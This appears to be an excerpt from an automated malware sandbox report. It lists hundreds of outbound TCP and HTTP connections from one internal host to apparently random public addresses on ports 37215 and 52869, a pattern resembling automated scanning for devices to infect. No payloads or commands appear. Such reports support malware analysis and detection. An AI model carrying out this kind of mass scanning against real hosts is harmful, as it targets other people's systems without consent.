Source: unknown	Network traffic detected: HTTP traffic on port 47972 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43308 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60064 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59784 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46358 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59034 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46976 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46442 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44176 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60404 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35790 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59404 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51914 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42938 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35354 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36730 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57552 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33794 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48496 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 37215

Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.3.21.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.56.118.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.214.55.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 182.85.50.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.92.237.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.200.98.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 212.19.225.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 194.65.196.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.234.38.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 159.247.186.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 109.174.172.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.154.83.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.64.178.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 104.8.73.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 124.38.65.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.201.10.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.34.28.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.249.112.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.62.193.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.34.92.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.134.72.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.130.190.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.178.20.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.209.60.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.128.69.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.6.247.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.245.35.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.17.9.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.39.121.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.21.88.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.40.102.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.245.110.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.185.235.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.168.76.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.108.71.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.145.183.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.124.222.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 106.174.68.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.190.172.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.231.126.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.15.177.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.213.124.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 114.116.15.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.1.12.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 67.164.145.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.220.78.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.110.69.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.152.229.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 65.79.209.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.207.241.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.150.219.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.143.52.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.4.10.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.221.232.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.251.162.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.34.193.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.212.205.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.56.89.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 146.70.72.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.189.96.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.217.75.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.221.193.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.169.132.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.120.216.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.249.185.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.79.155.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.187.33.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 125.249.77.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.223.209.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 93.9.19.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.97.128.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.159.197.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 176.67.81.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 76.177.197.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.177.149.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 97.134.173.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.213.116.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.38.141.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.74.157.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.98.148.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 49.84.15.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 60.145.150.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.19.92.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.121.124.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 132.69.225.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.101.44.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 191.91.109.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.33.107.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.35.143.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.46.43.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.29.187.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 159.75.117.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.78.20.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.173.198.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.166.97.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 143.194.179.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 34.245.129.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.134.178.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.220.215.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 112.103.69.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.28.72.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.164.23.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.140.146.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.171.167.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.231.4.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.44.46.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.255.114.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.161.52.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.230.111.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 37.50.200.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.204.98.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.150.243.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 110.202.3.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.70.102.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.181.146.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.209.60.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.186.86.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 183.18.158.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 2.69.54.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.238.40.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 52.138.177.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.156.49.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.237.188.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.114.67.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.184.88.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.138.203.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.79.63.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.45.88.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.17.13.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.222.199.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 145.185.248.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.194.84.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.35.252.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.222.221.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.54.41.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 220.90.88.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.73.217.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.16.131.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 203.129.114.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.11.177.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.106.231.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.112.125.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 114.104.89.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 196.108.28.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.62.99.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 116.156.175.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.180.195.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.145.164.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.70.65.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 86.82.54.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 20.222.215.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.187.2.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.109.79.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 163.150.42.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 46.185.21.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.9.119.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.185.241.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.246.7.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.120.131.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.88.134.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.36.237.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.42.236.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.109.166.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.132.248.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 104.140.179.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.135.156.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.24.52.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 217.47.253.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.200.38.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 138.35.105.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.84.11.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 181.77.179.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 203.131.164.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.56.38.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 25.100.29.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 75.142.64.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.141.248.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.219.233.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.34.252.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.221.122.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.11.18.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.75.184.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.92.89.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.21.137.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.123.88.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 113.121.60.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.133.12.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 112.227.139.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.16.61.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.171.90.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 200.25.227.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 74.166.36.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.210.89.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.129.214.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.31.62.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 57.179.232.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.82.209.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 194.68.7.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.198.127.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 62.1.185.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.162.208.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 1.119.241.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.93.237.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.85.0.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.42.124.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.237.43.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.32.89.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.226.210.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 4.38.120.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 101.19.118.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.94.99.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.16.195.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.86.47.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.83.39.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.7.92.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.191.5.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.139.48.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.232.155.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.25.63.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.143.166.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.49.84.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.225.164.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.149.9.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 141.126.185.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 128.104.190.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.136.94.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.202.34.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.52.27.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.246.201.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.89.63.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.101.149.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 4.163.190.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 152.30.0.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.112.240.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.191.44.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 143.39.235.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.155.50.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.116.6.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.66.79.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 110.216.253.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.255.201.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 77.77.222.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.174.95.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 93.236.140.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.43.201.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.203.152.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.210.236.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.3.208.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 41.83.245.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 197.185.234.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.161.231.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 105.53.66.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 194.210.218.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:50563 -> 157.219.150.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 112.104.240.153:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 173.70.195.138:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 52.188.85.89:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 168.214.55.135:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 82.246.219.130:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 52.185.40.220:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 47.131.156.7:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 153.88.175.187:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 202.179.114.114:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 166.157.8.210:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 31.175.187.129:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 202.159.56.129:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 223.161.169.143:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 163.209.94.25:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 89.116.1.211:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 204.46.251.166:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 122.167.75.170:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 180.57.201.161:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 104.26.83.71:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 154.157.246.72:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 130.206.211.129:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 152.161.224.79:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 162.160.111.35:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 58.55.6.110:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 40.11.215.79:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 119.44.232.241:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 4.26.18.222:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 162.120.56.216:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 64.111.121.228:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 160.89.205.146:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 103.233.66.3:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 39.238.204.107:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 219.121.3.137:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 100.58.169.89:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 38.49.123.120:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 62.204.49.132:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 164.103.95.95:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 90.220.208.134:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 120.120.202.208:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 147.164.232.161:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 220.123.4.18:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 71.240.247.135:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 57.30.119.39:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 170.113.9.186:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 125.165.157.181:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 188.226.47.52:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 53.242.30.163:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 118.95.117.249:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 13.164.169.253:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 193.107.65.164:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 80.226.91.150:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 209.200.229.61:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 8.104.228.104:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 158.159.28.203:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 57.86.64.87:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 207.32.229.66:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 119.150.77.161:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 199.170.141.174:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 211.159.248.236:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 129.209.221.62:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 35.117.84.161:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 27.117.118.67:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 138.25.247.16:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 121.35.219.146:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 175.10.79.147:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 150.134.45.104:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 183.33.143.75:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 143.236.166.197:52869
